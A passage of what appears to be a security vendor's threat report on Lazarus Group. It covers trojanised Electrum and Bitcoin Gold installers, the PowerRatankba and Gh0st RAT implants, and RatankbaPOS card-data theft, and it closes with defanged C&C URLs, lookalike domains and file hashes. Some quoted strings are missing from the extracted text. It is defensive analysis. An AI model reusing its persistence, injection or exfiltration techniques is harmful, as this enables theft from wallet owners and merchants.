+Figure 25: Legitimate BTG website showing difference
+between legitimate and malicious websites (note: this
+screenshot was not taken on the same day as the
+screenshot of the malicious website)
+Once clicked, the button on the malicious BTG page would have directed a victim to download a payload
+from hxxps://bitcoing
+ld[.]org/bitcoingold.exe. At the time of our analysis, this URL was not returning content.
+However, we discovered from a comment on a multiple anti-virus scanning service that someone targeted
+by this campaign had uploaded a payload downloaded from the fake website. The file in that case was
+named ElectronGold-1.1.1.exe (eab612e333baaec0709f3f213f73388607e495d8af9a2851f352481e996283f1).
+We also found a similar payload with unknown origin named ElectronGold-1.1.exe
+(b530de08530d1ba19a94bc075e74e2236c106466dedc92be3abdee9908e8cf7e).
+The second campaign we discovered used a fake Electrum update as the lure to similarly direct victims to a malicious IDN
+resembling the legitimate electrum.org website (Fig. 26). The emails in this case were sent, based on our visibility, using a
+unique @mail.com email address for each recipient, and at least some of the emails were sent between November 18-21,
+2017. A subject of 
+New Electrum Wallet Released
+ was used to trick victims into thinking that they needed to download
+an update for Electrum to be able to use Segwit2X and Bitcoin Gold. If a victim clicked on the malicious link, they were
+presented with what appeared to be a normal version of Electrum
+s official website (Fig. 27).
+Figure 26: Phishing email with fake Electrum
+wallet application update announcement
+Figure 27: A fake website with links to backdoored installation
+packages highlighted in red boxes and internationalized
+character noted by red arrow
+Each of the links highlighted in red led to a malicious payload hosted directly on the same server: hxxps://xn--electrms2a[.]org/electrum-3.0.3.exe (Fig. 28). The electrum-3.0.3.exe is a backdoored PyInstaller that is configured to download a
+VBScript PowerRatankba downloader.
+North Korea Bitten by Bitcoin Bug
+Figure 28: HTML code from malicious Electrum webpage
+In both campaigns, the same malicious Python code was injected into the PyInstallers, specifically into \gui\qt\installwizard.
+py. The backdoor code in each campaign is nearly identical except for the target URL and the file name to which the
+downloaded VBScript is saved (Fig. 29).
+Figure 29: Side-by-side comparison of backdoored installwizard.py scripts. Left: BTG, Right: Electrum
+The BTG campaign was configured to download a VBScript from hxxp://www.btc-gold[.]us/images/top_bar.gif while
+saving the downloaded script to C:\Users\Public\Documents\diff.vbs. We were unable to retrieve this file but suspect a
+PowerRatankba variant would have been downloaded based on other campaigns.
+The Electrum campaign was similarly configured to download a VBScript; however, in this case we were able to analyze the
+downloaded payload. The backdoored installwizard.py downloaded a script from hxxp://trade.publicvm[.]com/images/top_
+bar.gif (see Attribution section for more commentary) while saving the downloaded script to C:\Users\Public\Documents\
+Electrum_backup.vbs. The downloaded Electrum_backup.vbs was a PowerRatankba downloader with a target URL of
+hxxp://trade.publicvm[.]com/images/character.gif, which ultimately delivered a PowerRatankba implant with a C&C of trade.
+publicvm[.]com.
+Implant Description and Analysis
+Three key implants were used at various points in these campaigns. The implants -- PowerRatankba, Gh0st RAT, and
+RatankbaPOS -- and specific variations are described in detail below.
+PowerRatankba Description
+PowerRatankba is used for the same purpose as Ratankba: as a first stage reconnaissance tool and for the deployment
+of further stage implants on targets that are deemed interesting by the actor. Similar to its predecessor, PowerRatankba
+utilizes HTTP for its C&C communication.
+Once executed, PowerRatankba first sends detailed information about the infected device to its C&C server via the
+BaseInfo HTTP POST (Fig. 30), including the computer name, IP address(es), OS boot time and installation date, language,
+if ports 139, 3389, and/or 445 are open/closed/filtered, a process list, and (PowerRatankba.B only) output from two WMIC
+commands (Fig. 31).
+North Korea Bitten by Bitcoin Bug
+Figure 30: Initial HTTP POST containing infected device information to PowerRatankba.A C&C
+Figure 31: WMIC command output sent via same initial HTTP POST
+There are only slight variations between the initial BaseInfo HTTP POST, such as the process list is retrieved by
+PowerRatankba.A using 
+tasklist /svc
+ while PowerRatankba.B uses just 
+tasklist
+PowerRatankba.A C&C Description
+After the initial C&C check-in, PowerRatankba.A issues What HTTP GET requests (Fig. 32) to retrieve commands from the C&C
+server. All PowerRatankba.A HTTP requests contain a randomly generated numeric UID passed in the u HTTP URI parameter.
+Figure 32: PowerRatankba.A What HTTP GET Request
+This variant receives commands and sends responses in plaintext. This variant only has four commands (Table 1) including
+a sleep, exit, and two different execute code functions.
+North Korea Bitten by Bitcoin Bug
+Table 1: PowerRatankba.A C&C commands
+Command
+Description
+success
+Sleep and send request after sleep
+killkill
+Exit
+Execute
+Download payload from provided URL and execute via memory injection
+DownExec
+Download payload from provided URL, save to disk, then execute
+PowerRatankba.B C&C Description
+Similar to its predecessor, PowerRatankba.B issues What HTTP requests to its C&C server after the initial check-in. Instead
+of a numeric UID, this variant uses the infected device
+s double-Base64-encoded MAC address (Fig. 33).
+Figure 33: PowerRatankba.B What HTTP GET Request
+Commands from the C&C are still expected as plaintext but command parameters for all commands except interval are
+encrypted with DES using 
+Casillas
+ as both the key and initialization vector (IV) and then Base64-encoded. The response
+of the cmd command is the only data that is sent DES encrypted to the C&C whilst all other network traffic sent from the
+infected device to the C&C is either plaintext or Base64-encoded.
+Several new commands were added to this variant (Table 2) while Execute and DownExec were replaced. The command
+exe was eventually changed to inj while functionality remained the same. Additionally, some earlier variants did not contain
+all of the commands listed below but the overall capabilities of the backdoor remained largely the same, therefore for the
+purpose of this research all variants with DES encryption are considered variant PowerRatankba.B.
+Table 2: PowerRatankba.B C&C commands
+Command
+Description
+success
+Sleep and send request after sleep
+killkill
+Exit
+interval
+Change default sleep length
+Execute command using 
+cmd.exe /c $cmdInst
+ . Command response is sent back to the
+C&C DES encrypted and Base64 encoded
+cf_sv
+Replace SCH, VBS, PS1 files with provided server location and pre-determined URI (e.g.,
+Download payload from provided URL, write to C:\Users\Public\Documents\000.exe, and
+then execute payload.
+exe or inj
+Download payload from provided URL, inject into process memory using InvokeReflectivePEInjection
+PowerRatankba Persistence
+For persistence, PowerRatankba.A saves a JS file to the victim
+s Startup folder as appView.js that will
+be executed every time the victim
+s user account logs in. The persistence JS (Fig. 34) contains a XOR
+encoded PowerShell script to retrieve a Base64 encoded PowerShell from a hardcoded URL (e.g.,
+hxxp://macintosh.linkpc[.]net:8080/mainls.cs ). The encoded PowerShell script used a XOR key of
+ZWZBGMINRQLUSVTGHWVYANJHTVUHTLTUGKOHIYOXQEFEIPHNGACNKMBWGRTJIHRANIIZJNNZHVF
+North Korea Bitten by Bitcoin Bug
+Figure 34: appView.js persistence JS
+PowerRatankba.B is capable of using two different persistence methods while only one will be used based on whether
+or not the executing user has Administrator privileges. PowerRatankba first checks if the account has administrator
+privileges by executing the following command: 
+whoami /groups | findstr /c:
+S-1-5-32-544
+ | findstr /c:
+Enabled group
+&& goto:isadministrator
+. If the user account does have administrator privileges then PowerRatankba will download a
+PowerShell script from a hardcoded location (e.g., 
+$BaseServer + 
+images/character.gif
+), save it to a hardcoded location
+(e.g., C:/Windows/System32/WindowsPowerShell/v1.0/Examples/detail.ps1), and finally create a scheduled task to execute
+the downloaded PowerShell script on system startup. If the user account does not have administrator privileges then a
+VBScript file is downloaded from a hardcoded location (e.g., 
+$BaseServer + 
+images/top_bar.gif
+) and saved to the
+executing user
+s Startup folder as, for example, PwdOpt.vbs or ProxyServer.vbs.
+PowerRatankba.B Stage2 - Gh0st RAT
+A Gh0st remote access Trojan/tool (RAT) was delivered via PowerRatankba.B to several devices running common
+cryptocurrency-related applications. The Gh0st RAT samples were delivered via the memory injection exe/inj command (Fig.
+35). After decrypting the command with DES the target URL was revealed to be hxxp://180.235.133[.]235/img.gif (Fig. 36).
+Figure 35: Exe command delivered from PowerRatankba.B C&C to infected device
+Figure 36 (left): PowerRatankba.B retrieving
+Base64-encoded Gh0st dropper
+The fake image was actually a Base64-encoded
+custom encryptor with the embedded, encrypted
+Gh0st RAT as the final payload. The encryptor
+utilized AES in CBC-mode with the NIST
+Special Publication 800-38A example key of
+2B7E151628AED2A6ABF7158809CF4F3C
+ and IV of
+000102030405060708090A0B0C0D0E0F
+ (Fig. 37).
+North Korea Bitten by Bitcoin Bug
+Figure 37: AES key and IV in custom encryptor downloaded by PowerRatankba.B
+The decrypted Gh0st implant is a custom variant with magic bytes of RFC18 (Fig. 38). This variant was likely based on version
+3.4.0.0 of Gh0st/PCRat, however we consider it likely that the author(s) have given their implants an internal version of 1.0.0.1
+as can be observed in the decompressed initial check-in to the C&C (as well as hardcoded in the binaries) (Fig. 39).
+Figure 38: Magic RFC18 value in unpacked Gh0st RAT sample
+Figure 39: Version 1.0.0.1 RFC18 Gh0st RAT
+Much of the 3.4.0.0 code remains the same, including the usage of Zlib compression and the infamous \x78\x9c default
+Zlib compression header bytes (Fig. 40) observed in countless Gh0st RAT samples over the years.
+Figure 40: Initial Gh0st check-in depicting RFC18 magic bytes and Zlib header
+North Korea Bitten by Bitcoin Bug
+Gh0st RAT Purpose
+During our research we discovered that long-term sandboxing detonations of PowerRatankba not running cryptocurrencyrelated applications were never infected with a Stage2 implant. This may indicate that the PowerRatankba operator(s)
+were only interested in infecting device owners with an obvious interest in various cryptocurrencies. In one case, a RFC18
+Gh0st RAT was delivered to a PowerRatankba.B infected device within twenty minutes of the initial infection. From analyzing
+C&C traffic logs we assess that a Lazarus operator almost immediately viewed the screen of the infected device and then
+proceeded to take over full remote control, giving them the ability to interact with applications on the infected device,
+including a password-protected Bitcoin wallet application.
+Shopping Spree: Enter RatankbaPOS
+Beyond stealing millions of US dollars worth of cryptocurrency, we have discovered a Lazarus operation to steal pointof-sale (POS) data primarily targeting POS terminals of businesses operating in South Korea. Considering the time of
+year, most retail businesses around the world report their highest volume of sales between November and December so
+naturally POS is a popular target for criminals. Enter RatankbaPOS, possibly the first publicly documented nation-state
+sponsored campaign to steal POS data from a POS-related framework.1
+At this time we have been unable to determine how RatankbaPOS is being delivered; however, based on its sharing of
+C&C with PowerRatankba implants we hypothesize that Lazarus operators infiltrated at least one organization
+s networks
+utilizing PowerRatankba to deploy later stage implants (including the possibility of RFC18 Gh0ST RAT) to ultimately deploy
+RatankbaPOS. Based on the fact that the file was hosted on the C&C in plaintext, and not Base64 encoded, we assess that
+RatankbaPOS was more likely deployed with a later stage implant other than PowerRatankba.
+RatankbaPOS Analysis
+RatankbaPOS is deployed through a process injection dropper that is also capable of installing itself persistently, checking
+a C&C for either an update or a command to delete itself, dropping the RatankbaPOS implant to disk, and finally searching
+for the targeted POS process and module for injection and ultimately the theft of POS data.
+The dropper first sets up persistence by creating a registry key in HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\
+CurrentVersion\Run\igfxgpttray. It uses its own module file name for the registry key value. Next, it makes an HTTP request
+to a hardcoded URL hxxp://www[.]webkingston[.]com/update.jsp?action=need_update using a hardcoded User-Agent
+(UA) of 
+Nimo Software HTTP Retriever 1.0
+ (Fig. 41) to request either instruction from the C&C to delete itself and remove
+the persistence registry key or to download an updated implant with which to replace itself. If no response is returned from
+the C&C, RatankbaPOS will begin the process injection search.
+Figure 41: RatankbaPOS dropper requesting and receiving update from C&C
+1 We acknowledge the excellent work from @ashley_shen_920, @051R15, and @kjkwak12 with their documentation of North Korean-related attacks on VANXATM
+which was targeting ATM devices and not directly POS.
+North Korea Bitten by Bitcoin Bug
+The process injection search begins by taking a snapshot of the process list using CreateToolhelp32Snapshot. The implant
+dropper/injector will then case-insensitive search for a process named xplatform.exe which we assess is likely associated
+with Tobesoft
+s XPLATFORM UI/UX design software. If a process name match is found then a TH32CS_SNAPMODULE
+CreateToolhelp32Snapshot call is used to make a snapshot of xplatform.exe
+s running module list. Loaded modules
+are then iterated using Module32First and Module32Next while converting each result to lowercase by adding 0x20 to
+any uppercase letters and then finally comparing the string to ksnetadsl.dll (Fig. 42) that we assess is associated with
+a KSNET POS framework . Finally, the filesize of ksnetadsl.dll is checked to make sure it is 98,304 bytes (Fig. 42). If a
+successful match is found then the process ID (PID) of xplatform.exe is returned. Lastly, RatankbaPOS will be written to
+disk as c:\windows\temp\hkp.dll and the PID of xplatform.exe process will be used to inject hkp.dll into xplatform.exe using
+LoadLibraryA and CreateRemoteThread (Fig. 43).
+Figure 42: Dropper/injector searching for ksnetadsl.dll and correct filesize
+North Korea Bitten by Bitcoin Bug
+Figure 43: Injecting RatankbaPOS into xplatform.exe
+RatankbaPOS will first hook the KSNETADSL.dll module at offset 0xB146 (Fig. 44). Interestingly there is code for
+RatankbaPOS to check KSNETADSL.dll for an exported function named 1000B146, which seems like an unusual export
+name for which to check, but this code will never be used because 
+!strcmp(
+1000B146
+1000B146
+ will always be true.
+We hypothesize that this feature was included either by mistake or was previously used for debugging. RatankbaPOS will
+also log messages to a file stored in c:\windows\temp\log.tmp.
+Figure 44: RatankbaPOS
+setting KSNETADSL.dll
+injection offset
+At this point in the reverse
+engineering process, we
+would naturally begin
+reversing the KSNETADSL.
+dll module; however, we
+have only been able to find
+two such modules with a
+filesize of 98,304 bytes:
+f2f6b4770718eed349fb7c77429938ac1deae7dd6bcc141ee6f5af9f4501a695
+6c8c801bb71b2cd90a2c1595092358e46cbfe63e62ef6994345d6969993ea2d6
+North Korea Bitten by Bitcoin Bug
+After analyzing both KSNETADSL.dll modules, our preliminary assessment is that neither of the modules are the correct
+target for RatankbaPOS. We can at least gain some insight into the purpose of KSNETADSL.dll, which appears to be the
+handling of encrypted and decrypted credit card numbers for a KSNET-related POS framework system (Fig. 45). Further
+analysis of RatankbaPOS focusing on the code used for C&C revealed the likely purpose of this implant
+Figure 45: Screenshot showing KSNET module interaction with CARD_NO registry key
+Only one HTTP POST request is programmed in RatankbaPOS for the communication to a C&C that is called via
+CreateThread in the hook handler (DoC2, Fig. 46).
+Figure 46: Hook handler creating new thread for C&C then hooking KSNETADSL.dll
+Our analysis of the C&C communication revealed a number of clues as to what was being exfiltrated. Initially, the implant
+uses strchr to find the first occurrence of 
+ in the string data that is received from the hook of KSNETADSL.dll. Next,
+37-bytes beginning at 16-bytes before the position of the 
+ are copied to a buffer. Finally, that buffer is compared to a
+substitution buffer that was created at the beginning of RatankbaPOS
+ execution (Fig. 47). The substitution algorithm uses
+the values starting at offset 0x30-0x39 in the 
+-filled buffer to substitute the ASCII values of 
+ for 
+ZCKOADBLNX
+well as at offset 0x3D for substitution of ASCII 
+ to 
+. Therefore, values 
+ will be obfuscated to 
+ZCKOADBLNX
+while 
+ will be obfuscated to 
+ (Fig. 48).
+Figure 47: Obfuscation substitution buffer created in RatankbaPOS
+North Korea Bitten by Bitcoin Bug
+Figure 48: Obfuscation substitution buffer in memory
+To obfuscate the data, RatankbaPOS simply uses the hex value of the cleartext ASCII string to substitute itself for a value
+in the substitution buffer. For instance, a value of 
+ would be substituted to 
+ while any equals signs (
+) will be
+substituted for 
+. This method is used to likely obfuscate the data so it is harder to detect by simply glancing at network
+traffic or through the use of heuristic-based detection of plaintext credit card data transmitted over the network. Once
+the stolen data has been obfuscated, it is sent in a POST HTTP request to the URL /list.jsp?action=up using the same
+hardcoded UA as the injector: 
+Nimo Software HTTP Retriever 1.0
+ (Fig. 49). So far we have observed the following C&C
+domains: www.energydonate[.]com and online-help.serveftp[.]com.
+Figure 49: DoC2 function that obfuscates stolen data and exfiltrates to a C&C
+North Korea Bitten by Bitcoin Bug
+Based on documentation we have found online,
+RatankbaPOS is possibly targeting plaintext track data in
+the first 16 bytes followed by a 
+ and finally followed by
+encrypted POS-related data beginning with 
+ (Fig. 50).
+According to the document, this is an encrypted form of
+the track data. Based on this, there is the possibility that
+this campaign may be targeting a SoftCamp POS-related
+software application, framework, or device. If we are correct
+and the values 
+ always follow the 
+ sign then one
+could potentially find exfiltrated data in network traffic by
+searching for the string 
+ starting at offset 16 in the
+client body of an HTTP POST request. However, more logic
+will likely be necessary to reduce false positives but this
+opens up several options for detection.
+Figure 50: Documentation on South Korean POS
+software depicting POS data that matches the pattern
+RatankbaPOS is searching for (markings not ours)
+RatankbaPOS Targeted Region
+Based on the fact that RatankbaPOS is targeting a South Korean software vendor
+s POS framework, including clues that
+the length of exfiltrated data matches related POS data (document here, and another document here), we assess with high
+confidence that this threat is primarily targeting devices in South Korea.
+Attribution to Lazarus Group
+Attribution is a controversial topic and arguably one of the most difficult tasks threat intelligence analysts face. However,
+based on our research, we assess with a high level of confidence given the information available to us that the operations
+and activity discussed in this research are attributed to Lazarus Group and ultimately North Korea.
+In consideration of the controversial and difficult task at hand, we are providing an above and beyond summary of just
+some of the key pieces and overlaps to validate our assessment. Key reasons, discussed in detail below, are Encryption,
+Obfuscation, Functionality, Code Overlap, Decoys, and C&C.
+Encryption
+In October 2016 Lazarus Group pulled off a major operation that allegedly compromised at least 20 banks in Poland as
+well as banks in other countries around the world. The attacks have been well documented by BAE, Kaspersky, ESET,
+TrendMicro, and Symantec. The attribution of this attack to Lazarus (aka, Bluenoroff) and ultimately North Korea is widely
+accepted across the industry. What has not been documented publicly, to our knowledge, are the specifics behind the
+implementation of the Spritz encryption cipher utilized in some of the implants surrounding the banking incidents in late
+2016 and early 2017.
+Spritz is self-described as a spongy RC4-like stream cipher that was designed by Ronald Rivest and Jacob Schuldt.
+Multiple implementations of Spritz exist on Github in languages like C and Python. Anyone researching Lazarus Group
+version of Spritz will quickly find out that neither of the previously mentioned implementations will successfully decrypt
+hidden payloads in either banking related implants nor PowerSpritz
+s legitimate installer payload and malicious
+PowerShell commands.
+The issue, or possibly feature, in Lazarus Group
+s implementation of Spritz can be found buried in a single paragraph on
+page five of the original Spritz publication (Fig. 51). It states that addition and subtraction may be substituted for exclusiveor (XOR) and is referred to Spritz-xor.
+North Korea Bitten by Bitcoin Bug
+Figure 51: Excerpt from Spritz publication
+Examining Lazarus Group
+s implementation of Spritz in
+one of the original implants utilized to compromise banks
+in late 2016 and 2017 via watering hole attacks, it quickly
+becomes apparent that they have actually implemented
+Spritz-xor instead of the normal Spritz algorithm (Fig. 52).
+Figure 52: Spritz-xor decrypt implementation in Lazarus Group
+s implant from compromised banks
+PowerSpritz utilizes the same exact Spritz-xor implementation as the older Lazarus Group-attributed implant (Fig. 53).
+We assess that due to how rare Spritz usage is ITW, in addition to the implemented deviation from the standard, that it is
+unlikely a different threat actor is also using this specific implementation.
+Figure 53: Spritz-xor decrypt implementation in PowerSpritz
+North Korea Bitten by Bitcoin Bug
+Obfuscation
+Earlier this year several watering hole attacks targeting South Korea utilized an ActiveX 0day exploit in M2Soft to deliver
+Lazarus-connected FBI-RAT and Charon implants. Some of the techniques observed in these attacks overlap with the
+JS downloader and CHM PowerRatankba campaigns. One such overlap was through the usage of a well-known JS
+obfuscation technique in both the M2Soft exploit and PowerRatankba JS downloader campaigns. The method is a public
+and widely used technique of masking strings using their hexadecimal values and placing them in an array assigned to a
+variable with a naming structure of _0x[a-f0-9]{4} (Fig. 54).
+Figure 54: ActiveX M2Soft exploit utilizing JS obfuscation also observed in a PowerRatankba campaign
+Functionality
+Several features in the original Ratankba implants are similar or identical when compared to PowerRatankba and
+RatankbaPOS. Furthermore, the usage of a common directory c:\windows\temp\ for the storage of implants and logs are
+seen across a wide array of Lazarus Group
+s toolset. A brief overview of similar features is shown in below (Table 3) while a
+detailed description of each overlap may be found below.
+Table 3: Feature comparison table
+Feature
+Ratankba
+PowerRatankba
+RatankbaPOS
+JSP C&C similarities
+Commands:
+success,killkill
+Sleep 15 minutes loop
+c:\windows\temp\
+M2Soft Exploit
+FEIB Spreader
+First consider the C&C protocols utilized in all Ratankba, PowerRatankba, and RatankbaPOS. Ratankba
+s initial POST to
+C&C to divulge compromised system information uses the same BaseInfo parameter as PowerRatankba. Additionally, a
+Ratankba sample (bd7332bfbb6fe50a501988c3834a160cf2ad948091d83ef4de31758b27b2fb7f) utilizes a C&C of list.jsp
+while RatankbaPOS utilizes an identical URIfile name for allegedly exfiltrating credit card information to a C&C. Second,
+Ratankba
+s supported commands include success and killkill that function identically to the respective PowerRatankba
+commands. Furthermore, a sleep loop of 900 seconds (15 minutes) is utilized in both Ratankba and RatankbaPOS
+dropper (Fig. 56,56).
+Figure 55: Ratankba command loop sleep
+North Korea Bitten by Bitcoin Bug
+Figure 56: RatankbaPOS dropper target process search loop
+Lastly, while further analyzing the M2Soft exploit discussed in the Obfuscation section, a familiar destination directory of
+C:\windows\temp\ was spotted in the deobfuscated JS (Fig. 57,58). This destination directory was also used during the
+PowerRatankba CHM campaign, by RatankbaPOS for log and implant storage, and by the FEIB spreader.
+Figure 57: Deobfuscated M2Soft exploit used to deliver Lazarus FBI-RAT implant
+Figure 58: Deobfuscated M2Soft exploit used to deliver Lazarus Charon implant
+Code Overlap
+On or before October 3rd, 2017, the Far Eastern International Bank (FEIB) in Taiwan was
+hacked by Lazarus Group to steal money via the SWIFT system. One of the implants
+(9cc69d81613285352ce92ec3cb44227af5daa8ad4e483ecc59427fe23b122fce) utilized in that attack was a loader and
+spreader that writes itself to the Windows temp directory: c:\windows\temp\. This directory is also used by numerous other
+Lazarus Group implants including by the RatankbaPOS dropper for the payload drop location as well as for RatankbaPOS
+logging. Additionally, there are several instances of code overlap between RatankbaPOS and the FEIB spreader implant.
+One such overlap includes the way in which each implant sets up persistence in almost precisely the same way (Fig. 59).
+Figure 59: Registry key persistence. Left: FEIB spreader, Right: RatankbaPOS dropper
+North Korea Bitten by Bitcoin Bug
+Decoys
+Content found in a PowerRatankba JS downloader decoy (transaction.pdf downloaded by transaction.js) was previously
+utilized in Lazarus campaigns using techniques that have more traditionally, to our knowledge, been used for espionage
+rather than for financial gain. The campaign occurred on August 4th, 2017, where Lazarus Group impersonated a National
+police officer of South Korea along with a malicious Microsoft Office Excel document. The malicious Excel attachment
+utilized a macro-based VBScript XOR dropper technique that has been very well documented in public already.
+The document used in this attack was named 
+.xls
+(b46530fa2bd5f9958f664e754ae392dc400bd3fcb1c5adc7130b7374e0409924), which roughly translates to 
+Bitcoin
+transaction history.
+ Using the macro-based VBScript XOR dropper technique a CoreDn downloader implant is dropped to
+disk with a C&C of www.unsunozo[.]org. The interesting overlap with the PowerRatankba campaigns can be found in the
+lure used by the Excel spreadsheet (Fig. 60). The highlighted transactions, after the 
+Final bitcoin Address
+ section match
+with the beginning of the transactions used in the PowerRatankba decoy transaction.pdf.
+Figure 60: Excel CoreDn ~tmp001.xls decoy on the left, PowerRatankba transaction.pdf decoy on the right
+On a final note for this aspect of the actor attribution, campaigns utilizing the VBScript XOR macro technique have
+historically been used for attacks more closely associated with espionage than for direct financial gain, as was the case
+when several campaigns targeted the personal accounts of employees at US defense contractors. This behavior may offer
+a clue as to the desperation North Korea has for procuring currency through illicit means, possibly due to the economic
+sanctions imposed on the regime. This may indicate that there has been a significant shift in directives for the Lazarus
+team(s) that historically conducted espionage campaigns. Furthermore, several of the campaigns utilizing the old VBScript
+XOR macro technique have direct or within-one-week overlap with PowerRatankba campaigns alluding to the possibility
+that there is in fact more than one team working under the North Korean umbrella as other companies have suggested
+(e.g., Kaspersky
+s excellent write-up on Bluenoroff).
+A report was found in a Facebook post from mickeyfintech that listed a domain
+utilized in several PowerRatankba campaigns as being associated with infrastructure
+utilized in the breach of the FEIB (Fig. 61). The domain, trade.publicvm[.]com,
+was allegedly connected to the FEIB hack. That domain was also used by several
+PowerRatankba downloaders and payloads for hosting as well as C&C. This is a low
+confidence indicator as we have been unable to corroborate if that domain was in
+fact utilized by Lazarus in the hacking of the FEIB.
+Figure 61: Facebook post listing PowerRatankba domain as being associated
+with FEIB breach
+North Korea Bitten by Bitcoin Bug
+Conclusion
+This report has introduced several new additions to Lazarus Group
+s ever-growing arsenal, including a variety of different
+attack vectors, a new PowerShell implant and Gh0st RAT variant, as well as an emerging point-of-sale threat targeting
+South Korean devices. In addition to insight into Lazarus
+ emerging toolset, there are two key takeaways from this research:
+ Analyzing a financially motivated arm of a state actor highlights an often overlooked or underestimated aspect of statesponsored attacks; in this case, we were able to differentiate the actions of the financially motivated team within Lazarus
+from those of their espionage and disruption teams that have recently grabbed headlines.
+ This group now appears to be targeting individuals rather than just organizations: individuals are softer targets, often
+lacking resources and knowledge to defend themselves and providing new avenues of monetization for a statesponsored threat actor
+s toolkit.
+ Moreover, both the explosive growth in cryptocurrency values and the emergence of new point-of-sale malware near the
+peak holiday shopping season provide an interesting example of how one state-sponsored actor is following the money,
+adding direct theft from individuals and organizations to the more 
+traditional
+ approach of targeting financial institutions
+for espionage that we often observe with other APT actors.
+Research Contributions
+Proofpoint
+Kafeine (@kafeine)
+Matthew Mesa (@mesa_matt)
+Kimberly (@StopMalvertisin)
+James Emory (@sudosev)
+External
+Malc0de (@malc0de)
+Adam (@infosecatom)
+Jacob Soo (@_jsoo_)
+Special Thanks
+We would like to thank Yonathan Klijnsma (@ydklijnsma) and RisqIQ (@RiskIQ) for supporting
+this research by sharing data and assisting with some of the infrastructure analysis.
+North Korea Bitten by Bitcoin Bug
+Indicators of Compromise (IOCs)
+PowerSpritz ITW URLs
+hxxp://skype.2[.]vu/1
+hxxp://skype.2[.]vu/k
+hxxp://skypeupdate.2[.]vu/1
+hxxp://telegramupdate.2[.]vu/5
+hxxps://doc-00-64-docs.googleusercontent[.]com/docs/securesc/
+ha0ro937gcuc7l7deffksulhg5h7mbp1/39cbphg8k5qve4q5rr6nonee
+1bueiu8o/1499428800000/13030420262846080952/*/0B63J1WTZC49h
+X1JnZUo4Y1pnRG8?e=download
+hxxps://drive.google[.]com/uc?export=download&id=0B63J1WTZC49hdDR0clR3cFpITVE
+hxxp://201.211.183[.]215:8080/update.php?t=Skype&r=update
+hxxp://122.248.34[.]23/lndex.php?t=SkypeSetup&r=mail_new
+hxxp://122.248.34[.]23/lndex.php?t=Telegram&r=1.1.9
+PowerSpritz Hashes
+cbebafb2f4d77967ffb1a74aac09633b5af616046f31dddf899019ba78a55411
+9ca3e56dcb2d1b92e88a0d09d8cab2207ee6d1f55bada744ef81e8b8cf155453
+5a162898a38601e41d538f067eaf81d6a038268bc52a86cf13c2e43ca2487c07
+PowerSpritz C&C
+hxxp://dogecoin.deaftone[.]com:8080/mainls.cs
+hxxp://macintosh[.]linkpc[.]net:8080/mainls.cs
+Microsoft Compiled HTML Help (CHM) Hashes
+81617bd4fa5d6c1a703c40157fbe16c55c11260723b7f63de022fd5dd241bdbf
+d5f9a81df5061c69be9c0ed55fba7d796e1a8ebab7c609ae437c574bd7b30b48
+4eb2dd5e90bda6da5efbd213c8472775bdd16e67bcf559f58802a8c371848212
+01b047e0f3b49f8ab6ebf6795bc72ba7f63d7acbc68f65f1f8f66e34de827e49
+I3e91f399d207178a5aa6de3d680b58fc3f239004e541a8bff2cc3e851b76e8bb
+9d10911a7bbf26f58b5e39342540761885422b878617f864bfdb16195b7cd0f5
+85a263fc34883fc514be48da2d814f1b43525e63049c6b180c73c8ec00920f51
+6cb1e9850dd853880bbaf68ea23243bac9c430df576fa1e679d7f26d56785984
+772b9b873100375c9696d87724f8efa2c8c1484853d40b52c6dc6f7759f5db01
+6d4415a2cbedc960c7c7055626c61842b3a3ca4718e2ac0e3d2ac0c7ef41b84d
+030b4525558f2c411f972d91b144870b388380b59372e1798926cc2958242863
+Microsoft Compiled HTML Help (CHM) C&C
+hxxp://92.222.106[.]229/theme.gif
+hxxp://www.businesshop[.]net/hide.gif
+MS Shortcut Link (LNK) Hashes
+beecb33ef8adec99bbba3b64245c7230986c3c1a7f3246b0d26c641887387bfe
+8f0b83d4ff6d8720e134b467b34728c2823c4d75313ef6dce717b06f414bdf5c
+MS Shortcut Link (LNK) C&C
+hxxp://tinyurl[.]com/y9jbk8cg
+hxxp://201.211.183[.]215:8080/pdfviewer.php?o=0&t=report&m=0
+JavaScript Hashes
+e7581e1f112edc7e9fbb0383dd5780c4f2dd9923c4acc09b407f718ab6f7753d
+7975c09dd436fededd38acee9769ad367bfe07c769770bd152f33a10ed36529e
+100c6400331fa1919958bed122b88f1599a61b3bb113d98b218a535443ebc3a7
+8ff100ca86cb62117f1290e71d5f9c0519661d6c955d9fcfb71f0bbdf75b51b3
+97c6c69405ed721a64c158f18ab4386e3ade19841b0dea3dcce6b521faf3a660
+41ee2947356b26e4d8aca826ae392be932cd8800476840713e9b6c630972604f
+25f13dca780bafb0001d521ea6e76a3bd4dd74ce137596b948d41794ece59a66
+JavaScript C&C
+hxxp://51.255.219[.]82/files/download/falconcoin.zip
+hxxp://51.255.219[.]82/theme.gif
+hxxp://51.255.219[.].82/files/download/falconcoin.pdf
+hxxp://apps.got-game[.]org/images/character.gif
+North Korea Bitten by Bitcoin Bug
+hxxp://apps.got-game[.]org/files/download/transaction.pdf
+hxxp://www.energydonate[.]com/files/download/bithumb.zip
+hxxp://www.energydonate[.]com/images/character.gif
+hxxp://www.energydonate[.]com/files/download/bithumb.pdf
+MS Office Docs Hashes
+b3235a703026b2077ccfa20b3dabd82d65c6b5645f7f15e7bbad1ce8173c7960
+b9cf1cba0f626668793b9624e55c76e2dab56893b21239523f2a2a0281844c6d
+972b598d709b66b35900dc21c5225e5f0d474f241fefa890b381089afd7d44ee
+MS Office Docs C&C
+198.100.157[.]239
+hxxp://www.energydonate[.]com/files/download/Bithumb.zip
+hxxp://www.energydonate[.]com/images/character.gif
+PyInstaller Hashes
+b530de08530d1ba19a94bc075e74e2236c106466dedc92be3abdee9908e8cf7e
+eab612e333baaec0709f3f213f73388607e495d8af9a2851f352481e996283f1
+eb372423e4dcd4665cc03ffc384ff625ae4afd13f6d0589e4568354be271f86e
+PyInstaller Hosting or Email IDNA
+xn--bitcin-zxa[.]org
+xn--electrm-s2a[.]org
+xn--bitcingold-hcb[.]org
+xn--bitcoigold-o1b[.]com
+xn--bitcoingld-lcb[.]com
+xn--bitcoingld-lcb[.]org
+xn--bitcoingod-8yb[.]com
+xn--btcongold-54ad[.]com
+xn--btcongold-g5ad[.]com
+Likely Related IDNA
+xn--6fgp[.]com
+xn--bitcingold-5bb.[]com
+xn--bitcingold-jbb[.]com
+xn--bitcingold-t3b[.]com
+xn--bitcoingol-4kb[.]com
+xn--bitoingold-1ib[.]com
+xn--btcoingold-v8a[.]com
+xn--bitcoingldwallet-twb[.]org
+PyInstaller C&C
